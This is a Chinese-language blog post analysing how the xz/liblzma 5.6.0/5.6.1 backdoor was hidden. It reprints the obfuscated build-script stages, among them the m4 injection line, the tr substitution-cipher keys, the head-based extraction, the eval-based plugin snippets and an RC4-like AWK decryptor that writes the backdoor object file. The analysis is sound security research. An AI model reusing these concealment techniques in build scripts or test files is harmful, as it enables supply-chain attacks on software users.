知名压缩软件 xz 被植入后门，黑客究竟是如何做到的？
昨天，Andres Freund 通过电子邮件告知 oss-security@ 社区，他在 xz/liblzma 中发现了一个隐藏得非常巧妙的后门，这个后门甚至影响到了 OpenSSH 服务器的安全。Andres 能够发现并深入调查这个问题，实在令人敬佩。他在邮件中对整个事件进行了全面的总结，所以我就不再赘述了。
诚然，这个故事中最吸引眼球、最耐人寻味的部分，无疑是那个经过重重混淆的、藏有后门的二进制文件。然而，勾起我兴趣的，却是 bash 脚本一开始的那几段代码，以及其中运用的简单而巧妙的混淆技法。接下来，就让我们沿着黑客的足迹，一层层揭开这个谜题的面纱，领略大师级的隐藏技巧。不过请注意，我并不打算事无巨细地解释每段 bash 代码的所有功能，而是着重剖析它们是如何被层层混淆、又是如何被逐一提取出来的。这才是其中的精髓所在。
在正式开始之前，有几点不得不提：
- 这个后门影响了 xz/liblzma 的两个版本：5.6.0 和 5.6.1。这两个版本之间存在一些细微的差异，我会尽量在分析过程中同时覆盖到它们。
- bash 脚本部分可以划分为三个 (也可能是四个) 主要阶段，我将其称为 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在
m4/build-to-host.m4文件中添加的启动代码。至于潜在的 “Stage 3”，虽然我怀疑它尚未完全成型，但也会略作提及。 - 那些经过混淆和加密的代码，以及后面的二进制后门，都藏身于两个看似无害的测试文件中：
tests/files/bad-3-corrupt_lzma2.xz和tests/files/good-large_compressed.lzma。切莫小觑了它们。
让我们先来看看 Stage 0 ——这个谜题的开端。
Stage 0
正如 Andres 所指出的，一切的起点都在 m4/build-to-host.m4 文件。让我们逐步解读其中的玄机：
...
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
...
gl_path_map='tr "\t \-_" " \t_\-"'
...
-
首先，它从
tests/files/bad-3-corrupt_lzma2.xz文件中读取字节流，并将其输出，作为下一步的输入。读取完所有内容后，它还会额外添加一个换行符。这种步步相扣的方式在整个过程中随处可见。 -
第二步是执行 tr 命令，将某些字符 (或字节值) 映射为其他字符。来看几个例子：
echo "BASH" | tr "ABCD" "1234" 21SH在这个示例中，“A” 被映射为 “1”，“B” 被映射为 “2”，依此类推。
我们也可以指定字符范围。例如在上面的示例中，我们只需将 “ABCD” 更改为 “A-D”，并对目标字符集执行相同的操作：“1-4”：
echo "BASH" | tr "A-D" "1-4" 21SH类似地，我们可以指定它们的 ASCII 代码的八进制形式。所以 “A-D” 可以改成 “\101-\104”，“1-4” 可以变成 “\061-\064”。
echo "BASH" | tr "\101-\104" "\061-\064" 21SH回到我们的代码中，
tr "\t \-_" " \t_\-"对来自tests/files/bad-3-corrupt_lzma2.xz文件的字节流做了如下替换：-
0x09 (\t) 被替换为 0x20
-
0x20 (空格) 被替换为 0x09
-
0x2d (-) 被替换为 0x5f
-
0x5f (_) 被替换为 0x2d
这一番调换，实际上起到了 “修复” bad-3-corrupt_lzma2.xz 文件的作用，让它重获新生，成为一个合法的 xz 数据流。
-
-
在 Stage 0 的压轴戏中，修复后的 xz 字节流被提取出来，并对过程中的错误选择性地忽略。而这个过程的成果，正是 Stage 1 的脚本，它随即自我执行起来。
接下来，让我们关注 Stage 1 ——那个充满神秘色彩的开端。
Stage 1
在 Andres 的邮件中，Stage 1 对应的是那个以 “####Hello####” 开头的 bash 文件。它虽然篇幅不长，但值得我们仔细研读，并留意 5.6.0 和 5.6.1 版本之间的差异 (以黄色字体做标记)：
第一个区别是第二行注释中的随机字节：
- 在 5.6.0 版本中是
86 F9 5A F7 2E 68 6A BC； - 在 5.6.1 版本中是
E5 55 89 B7 24 04 D8 17。
我不确定这些差异是否有任何意义，但我还是想指出来。
其中一处引人注目的差异是，5.6.1 版本新增了一段检查脚本是否运行于 Linux 的代码，并重复出现了 5 次，颇有几分忏悔和自我约束的意味。
下面我们把目光转向 Stage 2 的提取代码，就是那个长度惊人的 export i=... 语句，里面塞满了 head 命令。让我们仔细分析一下它的运作机制：
-
开头的
export i=...其实定义了一个 “函数”，在第 3 步和 Stage 2 中被调用。 -
提取 Stage 2 的第一步，是使用 xz 解压
good-large_compressed.lzma文件，并将解压后的数据传递给下一步。这开启了一系列环环相扣的 “接力赛”。 -
紧接着，i “函数” 登场 (
eval $i)。这个函数由一系列 head 命令组成，要么输出接下来的 N 个字节，要么彻底忽略它们。最初的代码：
(head -c +1024 >/dev/null)这里的
-c +1024选项告诉 head 只读取和输出来自输入数据流的接下来的 1024 个字节 (请注意，这里的 + 将会被忽略，它不会做任何事情，这与 tail 命令不一样)。但是，由于输出在这种情况下被重定向到 /dev/null，我们实际得到的是 “跳过接下来的 1024 个字节”。值得注意的是，如果我们仔细观察 good-large_compressed.lzma 解压后的前 1024 个字节，会发现它几乎全是重复了 1024 次的字符 “A” (字节 0x41)。有趣的是，在第一个 1024 个字符之后，还隐藏着一些神秘的二进制数据。
下一个 head 调用看起来和之前几乎相同，只是长度不同：
head -c +2048注意这里的输出不会被忽略，它将作为输入传递给下一步。
这个模式反复出现：1024 个字节被跳过，然后 2048 个字节被输出，1024 个字节被跳过，2048 个输出...如此循环，直到文件的末尾，在 5.6.0 版本中只输出 724 个字节，而在 5.6.1 版本中只输出 939 个字节。
为了直观地呈现这一点，这里展示了这组 head 调用处理的实际输入数据。字节 0 在文件的左上角；每一列表示文件的 256 个字节，以灰度表示。请注意高熵 (“嘈杂”) 区域之间的 “空灰” 区域 – 脚本的这一部分基本上是删除空白区域，将蕴藏数据的区域合二为一。
-
在下一步中，使用
tail -c +31233命令丢弃数据的前部 (剧透一下：那里隐藏了一扇二进制后门，它将在下一个阶段被打开，所以现在还用不到它)。在 5.6.0 版本中，丢弃的是前 31264 个字节，而在 5.6.1 版本中是 31232 个字节 (一个字节的差异是因为tail -c +N的意思是 “从第 N 个字节开始输出”，而不是 “忽略前 N 个字节”)。 -
第 5 步重新使用了 tr 命令，在这里它被用作一个简单的替换密码，在 5.6.0 和 5.6.1 版本中有不同的密钥 (字节值映射)：
5.6.0: tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" 5.6.1: tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377"根据之前的解释，这基本上意味着 (对于 5.6.0 版本) 值为 5 的字节将被值为 0 的字节替换，值为 6 的字节将被值为 1 的字节替换，依此类推。在每种情况下，都有 6 个范围映射到整个 0 - 255 (即八进制的 377) 范围。
整个过程反复上演着这样的 “捉迷藏” 游戏：跳过 1024 字节，然后输出 2048 字节，再跳过 1024 字节，再输出 2048 字节…… 直到抵达文件的尽头。
这部分脚本的真正任务，是剔除其中的 “废料”，将有价值的数据部分连缀成完整的数据流。
- 下一步中，数据流的前面一大段被果断抛弃。
- 往后是借助 tr 命令实施简单的替换加密，5.6.0 和 5.6.1 版本使用了不同的密钥。
- 最后，加密后的数据经过解压缩，呈现出 Stage 2 脚本的真容，并立即投入自我执行的怀抱。
现在，让我们进入 Stage 2，一探究竟。
Stage 2
Stage 2 就是 Andres 邮件中提到的 infected.txt 文件 (我手头只有 5.6.0 版本)。这个 bash 脚本可谓洋洋洒洒，正是在这里，编译过程遭到了不轨的修改。
以混淆的视角审视这个脚本，有三个片段值得我们特别关注，其中两个仅在 5.6.1 版本中才显露真容。
Stage 2 扩展机制
首先是 Stage 2 的 “扩展” 机制：
片段 1：
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
片段 2：
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
这两个代码片段几乎完全相同，所以让我们可以同时处理这两个片段。它们的作用如下：
-
它在 tests/files/ 目录下搜寻 (
grep -broaF) 具有特定签名的两个文件：Fragment 1: "~!:_ W" and "|_!{ -" Fragment 3: "jV!.^%" and "%.R.1Z" -
如果找到它们，就提取每个文件的偏移量 (
cut -d: -f2，假定:是字段分隔符，则取第 2 个字段)，以第一个偏移量加 7 为 $start，以第二个文件的偏移量作为 $end。 -
掌握了 $start 和 $end 这两个关键信息后，脚本就能从第一个文件中提取 $start 到 $end 之间的内容。
cat $f1 | tail -c +${start} | head -c +${end} -
接下来，它使用和 Stage 1 如出一辙的替换解密方式 (对于 5.6.0 版本的密钥)。
tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" -
最后，解密后的数据再次经过解压缩，然后立即执行：
eval `... | xz -F raw --lzma2 -dc`
有趣的是，在我分析的两个版本中，都没有任何文件真正匹配这里的签名。因此，整个过程更像是一种 “插件/补丁” 机制，它允许我们在不修改原始 payload 的前提下，向 Stage 2 中注入新的脚本。
这是一个明智的设计，因为反复修改 “坏” 和 “好” 的测试文件是非常可疑的行为，可能会引起他人的注意。因此，他们的计划似乎是只添加新的测试文件，这些文件会被选中、解密并执行。
Stage 2 后门提取
然后是 Stage 2 中的后门提取过程。在某个关键时刻，一个 .o 文件会被悄然提取出来，并巧妙地嵌入编译和链接的流程中。以下代码就是这个环节的主谋（和之前一样，我将用黄色字体区分两个版本的差异）：
两个版本之间的差异，主要体现在压缩后的 payload 大小略有不同（5.6.0 版本的 payload 大小为 88792，而 5.6.1 版本的 payload 大小为 88664），以及 AWK 脚本中的一个神秘常量有所变化。
与前面的步骤如出一辙，提取过程由一系列命令的完美配合构成。其中一些步骤与 Stage 1 遥相呼应，因为二进制的 payload 就安睡在 “good” 文件数据尚未开垦的处女地。让我们沿着脚印，一步步探寻：
-
第一步与 Stage 1的第二步相同，用 xz 解压
tests/files/good-large_compressed.lzma文件。 -
第二步同样与 Stage 1 的第三步一致，调用了先前的那个 “很多 head” 的函数。
-
从这里开始，事情就有所不同了。首先，前一步的输出通过 sed 命令进行了修改：
LC_ALL=C sed "s/\(.\)/\1\n/g"这个命令的作用是在每个字节后面添加一个换行符（除了换行符本身）。最终，我们得到了一个每行只有一个字节的输出（没错，这里大量混合了处理文件的"文本"和"二进制"方法）。下一步恰好需要这种格式。
-
下一步，一个 AWK 脚本粉墨登场，它对输入流进行类似 RC4 的解密工作。以下是该脚本的美化版本：
BEGIN { # Initialization part. FS = "\n"; # Some AWK settings. RS = "\n"; ORS = ""; m = 256; for(i=0;i<m;i++) { t[sprintf("x%key", i)] = i; key[i] = ((i * 7) + 5) % m; # Creating the cipher key. } i=0; # Skipping 4096 first bytes of the output PRNG stream. j=0; # ↑ it's a typical RC4 thing to do. for(l = 0; l < 4096; l++) { # 5.6.1 uses 8192 instead. i = (i + 1) % m; a = key[i]; j = (j + a) % m; key[i] = key[j]; key[j] = a; } } { # Decription part. # Getting the next byte. v = t["x" (NF < 1 ? RS : $1)]; # Iterating the RC4 PRNG. i = (i + 1) % m; a = key[i]; j = (j + a) % m; b = key[j]; key[i] = b; key[j] = a; k = key[(a + b) % m]; # As pointed out by @nugxperience, RC4 originally XORs the encrypted byte # with the key, but here for some add is used instead (might be an AWK thing). printf "%key", (v + k) % m } -
解密后的数据再次通过 xz 解压缩，重获新生。
xz -dc --single-stream -
最后，使用相同的常用 head 技巧提取从 N（0）到 W（约 86KB）的字节，并将其保存为
liblzma_la-crc64-fast.o——这就是最终的二进制后门文件。((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o
总结
通过以上分析，我们可以看到，有人煞费苦心地将这个后门隐藏得如此巧妙，令人叹为观止。从将 payload 藏匿于看似无害的二进制测试文件之中，到运用文件提取、替换加密、RC4 变种等技巧，再到将整个过程拆分为多个执行阶段，并预留 “插件” 机制以备将来之需，这一切无不凸显出幕后黑客的心思缜密和技艺精湛。
然而，这个案例也给我们敲响了警钟：如果这样一个精心设计的后门都是要靠意外才能发现，那么，还有多少潜藏的威胁尚未浮出水面？我们又该如何及早发现并防范这些威胁？这需要安全社区每一位成员保持警惕，用更加缜密的思维去分析每一处细节，去揭示每一个蛛丝马迹。只有如此，我们才能筑起维护网络安全的坚实防线。
